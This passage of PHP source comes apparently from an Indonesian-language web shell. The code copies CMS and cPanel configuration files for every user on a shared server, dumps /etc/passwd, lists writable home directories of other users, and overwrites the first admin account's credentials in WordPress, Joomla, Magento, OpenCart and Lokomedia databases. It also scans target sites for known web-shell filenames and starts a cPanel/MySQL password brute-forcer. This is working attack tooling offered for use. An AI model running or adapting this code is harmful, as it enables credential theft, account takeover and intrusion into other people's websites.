  1149. "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1150. "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1151. "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1152. "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1153. "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1154. "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1155. "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1156. "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1157. "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1158. "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1159. "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1160. "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1161. "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1162. "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1163. "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1164. "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1165. "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1166. "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1167. "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1168. "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1169. "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
  1170. "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1171. "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1172. "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1173. "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1174. "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1175. "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1176. "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1177. "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1178. "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1179. "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1180. "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1181. "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1182. "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1183. "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1184. "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1185. "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1186. "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1187. "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1188. "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1189. "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1190. "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1191. "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1192. "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1193. "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1194. "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1195. "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1196. "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1197. "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1198. "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1199. "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1200. "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1201. "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1202. "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1203. "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1204. "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1205. "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1206. "/home3/$user_cox/.my.cnf" => "cpanel",
  1207. "/home3/$user_cox/.accesshash" => "WHM-accesshash",
  1208. "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1209. "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1210. "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1211. "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1212. "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1213. "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
  1214. "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1215. "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1216. "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1217. "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
  1218. "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
  1219. "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1220. "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1221. "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1222. "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1223. "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1224. "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1225. "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",
  1226. "/home3/$user_cox/public_html/configuration.php" => "Joomla",
  1227. "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1228. "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1229. "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1230. "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1231. "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1232. "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1233. "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1234. "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1235. "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1236. "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1237. "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1238. "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1239. "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1240. "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1241. "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1242. "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1243. "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1244. "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1245. "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1246. "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1247. "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1248. "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1249. "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1250. "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1251. "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1252. "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1253. "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1254. "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1255. "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1256. "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1257. "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1258. "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1259. "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1260. "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1261. "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1262. "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1263. "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
  1264. "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1265. "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1266. "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1267. "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1268. "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1269. "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1270. "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1271. "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1272. "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1273. "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1274. "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1275. "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1276. "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1277. "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1278. "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1279. "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1280. "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1281. "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1282. "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1283. "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1284. "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1285. "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1286. "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1287. "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1288. "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1289. "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1290. "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1291. "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1292. "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1293. "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1294. "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1295. "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1296. "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1297. "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1298. "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1299. "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"
  1300. );
  1301. foreach($grab_config as $config => $nama_config) {
  1302. $ambil_config = file_get_contents($config);
  1303. if($ambil_config == '') {
  1304. } else {
  1305. $file_config = fopen("cox_config/$user_cox-$nama_config.txt","w");
  1306. fputs($file_config,$ambil_config);
  1307. }
  1308. }
  1309. }
  1310. }
  1311. echo "<center><a href='?dir=$dir/cox_config'><font color=lime>Done</font></a></center>";
  1312. }else{
  1313.  
  1314. echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  1315. echo file_get_contents('/etc/passwd');
  1316. echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
  1317. }
  1318. } elseif($_GET['do'] == 'jumping') {
  1319. $i = 0;
  1320. echo "<pre><div class='margin: 5px auto;'>";
  1321. $etc = fopen("/etc/passwd", "r");
  1322. while($passwd = fgets($etc)) {
  1323. if($passwd == '' || !$etc) {
  1324. echo "<font color=red>Can't read /etc/passwd</font>";
  1325. } else {
  1326. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1327. foreach($user_jumping[1] as $user_idx_jump) {
  1328. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  1329. if(is_readable($user_jumping_dir)) {
  1330. $i++;
  1331. $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1332. if(is_writable($user_jumping_dir)) {
  1333. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1334. }
  1335. echo $jrw;
  1336. $domain_jump = file_get_contents("/etc/named.conf");
  1337. if($domain_jump == '') {
  1338. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  1339. } else {
  1340. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  1341. foreach($domains_jump[1] as $dj) {
  1342. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1343. $user_jumping_url = $user_jumping_url['name'];
  1344. if($user_jumping_url == $user_idx_jump) {
  1345. echo " => ( <u>$dj</u> )<br>";
  1346. break;
  1347. }
  1348. }
  1349. }
  1350. }
  1351. }
  1352. }
  1353. }
  1354. if($i == 0) {
  1355. } else {
  1356. echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  1357. }
  1358. echo "</div></pre>";
  1359. } elseif($_GET['do'] == 'auto_edit_user') {
  1360. if($_POST['hajar']) {
  1361. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  1362. echo "username atau password harus lebih dari 6 karakter";
  1363. } else {
  1364. $user_baru = $_POST['user_baru'];
  1365. $pass_baru = md5($_POST['pass_baru']);
  1366. $conf = $_POST['config_dir'];
  1367. $scan_conf = scandir($conf);
  1368. foreach($scan_conf as $file_conf) {
  1369. if(!is_file("$conf/$file_conf")) continue;
  1370. $config = file_get_contents("$conf/$file_conf");
  1371. if(preg_match("/JConfig|joomla/",$config)) {
  1372. $dbhost = ambilkata($config,"host = '","'");
  1373. $dbuser = ambilkata($config,"user = '","'");
  1374. $dbpass = ambilkata($config,"password = '","'");
  1375. $dbname = ambilkata($config,"db = '","'");
  1376. $dbprefix = ambilkata($config,"dbprefix = '","'");
  1377. $prefix = $dbprefix."users";
  1378. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1379. $db = mysql_select_db($dbname);
  1380. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1381. $result = mysql_fetch_array($q);
  1382. $id = $result['id'];
  1383. $site = ambilkata($config,"sitename = '","'");
  1384. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  1385. echo "Config => ".$file_conf."<br>";
  1386. echo "CMS => Joomla<br>";
  1387. if($site == '') {
  1388. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1389. } else {
  1390. echo "Sitename => $site<br>";
  1391. }
  1392. if(!$update OR !$conn OR !$db) {
  1393. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1394. } else {
  1395. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1396. }
  1397. mysql_close($conn);
  1398. } elseif(preg_match("/WordPress/",$config)) {
  1399. $dbhost = ambilkata($config,"DB_HOST', '","'");
  1400. $dbuser = ambilkata($config,"DB_USER', '","'");
  1401. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1402. $dbname = ambilkata($config,"DB_NAME', '","'");
  1403. $dbprefix = ambilkata($config,"table_prefix = '","'");
  1404. $prefix = $dbprefix."users";
  1405. $option = $dbprefix."options";
  1406. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1407. $db = mysql_select_db($dbname);
  1408. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1409. $result = mysql_fetch_array($q);
  1410. $id = $result[ID];
  1411. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1412. $result2 = mysql_fetch_array($q2);
  1413. $target = $result2[option_value];
  1414. if($target == '') {
  1415. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1416. } else {
  1417. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  1418. }
  1419. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  1420. echo "Config => ".$file_conf."<br>";
  1421. echo "CMS => Wordpress<br>";
  1422. echo $url_target;
  1423. if(!$update OR !$conn OR !$db) {
  1424. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1425. } else {
  1426. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1427. }
  1428. mysql_close($conn);
  1429. } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1430. $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  1431. $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  1432. $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  1433. $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  1434. $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1435. $prefix = $dbprefix."admin_user";
  1436. $option = $dbprefix."core_config_data";
  1437. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1438. $db = mysql_select_db($dbname);
  1439. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1440. $result = mysql_fetch_array($q);
  1441. $id = $result[user_id];
  1442. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1443. $result2 = mysql_fetch_array($q2);
  1444. $target = $result2[value];
  1445. if($target == '') {
  1446. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1447. } else {
  1448. $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1449. }
  1450. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1451. echo "Config => ".$file_conf."<br>";
  1452. echo "CMS => Magento<br>";
  1453. echo $url_target;
  1454. if(!$update OR !$conn OR !$db) {
  1455. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1456. } else {
  1457. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1458. }
  1459. mysql_close($conn);
  1460. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1461. $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1462. $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1463. $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1464. $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1465. $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1466. $prefix = $dbprefix."user";
  1467. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1468. $db = mysql_select_db($dbname);
  1469. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1470. $result = mysql_fetch_array($q);
  1471. $id = $result[user_id];
  1472. $target = ambilkata($config,"HTTP_SERVER', '","'");
  1473. if($target == '') {
  1474. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1475. } else {
  1476. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1477. }
  1478. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1479. echo "Config => ".$file_conf."<br>";
  1480. echo "CMS => OpenCart<br>";
  1481. echo $url_target;
  1482. if(!$update OR !$conn OR !$db) {
  1483. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1484. } else {
  1485. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1486. }
  1487. mysql_close($conn);
  1488. } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1489. $dbhost = ambilkata($config,'server = "','"');
  1490. $dbuser = ambilkata($config,'username = "','"');
  1491. $dbpass = ambilkata($config,'password = "','"');
  1492. $dbname = ambilkata($config,'database = "','"');
  1493. $prefix = "users";
  1494. $option = "identitas";
  1495. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1496. $db = mysql_select_db($dbname);
  1497. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1498. $result = mysql_fetch_array($q);
  1499. $target = $result[alamat_website];
  1500. if($target == '') {
  1501. $target2 = $result[url];
  1502. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1503. if($target2 == '') {
  1504. $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1505. } else {
  1506. $cek_login3 = file_get_contents("$target2/adminweb/");
  1507. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1508. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1509. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1510. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1511. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1512. } else {
  1513. $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1514. }
  1515. }
  1516. } else {
  1517. $cek_login = file_get_contents("$target/adminweb/");
  1518. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1519. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1520. $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1521. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1522. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1523. } else {
  1524. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1525. }
  1526. }
  1527. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1528. echo "Config => ".$file_conf."<br>";
  1529. echo "CMS => Lokomedia<br>";
  1530. if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1531. echo $url_target2;
  1532. } else {
  1533. echo $url_target;
  1534. }
  1535. if(!$update OR !$conn OR !$db) {
  1536. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1537. } else {
  1538. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1539. }
  1540. mysql_close($conn);
  1541. }
  1542. }
  1543. }
  1544. } else {
  1545. echo "<center>
  1546. <h1>Auto Edit User Config</h1>
  1547. <form method='post'>
  1548. DIR Config: <br>
  1549. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1550. Set User & Pass: <br>
  1551. <input type='text' name='user_baru' value='Firewall21' placeholder='user_baru'><br>
  1552. <input type='text' name='pass_baru' value='Firewall21' placeholder='pass_baru'><br>
  1553. <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1554. </form>
  1555. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1556. ";
  1557. }
  1558. }elseif($_GET['do'] == 'shelscan') {
  1559. echo'<center><h2>Shell Finder</h2>
  1560. <form action="" method="post">
  1561. <input type="text" size="50" name="traget" value="http://www.site.com/"/>
  1562. <br>
  1563. <input name="scan" value="Start Scaning" style="width: 215px;" type="submit">
  1564. </form><br>';
  1565. if (isset($_POST["scan"])) {
  1566. $url = $_POST['traget'];
  1567. echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
  1568. echo "Result :<br />";
  1569. $shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
  1570. "x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
  1571. "Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
  1572. "vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
  1573. "d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
  1574. "wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
  1575. "wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
  1576. "tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
  1577. "tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
  1578. "whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
  1579. "templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
  1580. "admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
  1581. "/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
  1582. "/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
  1583. "/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
  1584. "/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
  1585. "/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
  1586. "wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
  1587. "tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
  1588. "tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
  1589. "forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
  1590. "spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
  1591. "Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
  1592. "tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
  1593. "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
  1594. foreach ($shells as $shell){
  1595. $headers = get_headers("$url$shell"); //
  1596. if (eregi('200', $headers[0])) {
  1597. echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
  1598. $dz = fopen('shells.txt', 'a+');
  1599. $suck = "$url$shell";
  1600. fwrite($dz, $suck."\n");
  1601. }
  1602. }
  1603. echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
  1604. }
  1605.  
  1606. }
  1607. elseif($_GET['do'] == 'cpanel') {
  1608. if($_POST['crack']) {
  1609. $usercp = explode("\r\n", $_POST['user_cp']);
  1610. $passcp = explode("\r\n", $_POST['pass_cp']);
  1611. $i = 0;
  1612. foreach($usercp as $ucp) {
  1613. foreach($passcp as $pcp) {
  1614. if(@mysql_connect('localhost', $ucp, $pcp)) {
  1615. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1616. } else {
  1617. $_SESSION[$ucp] = "1";
  1618. $_SESSION[$pcp] = "1";
  1619. $i++;
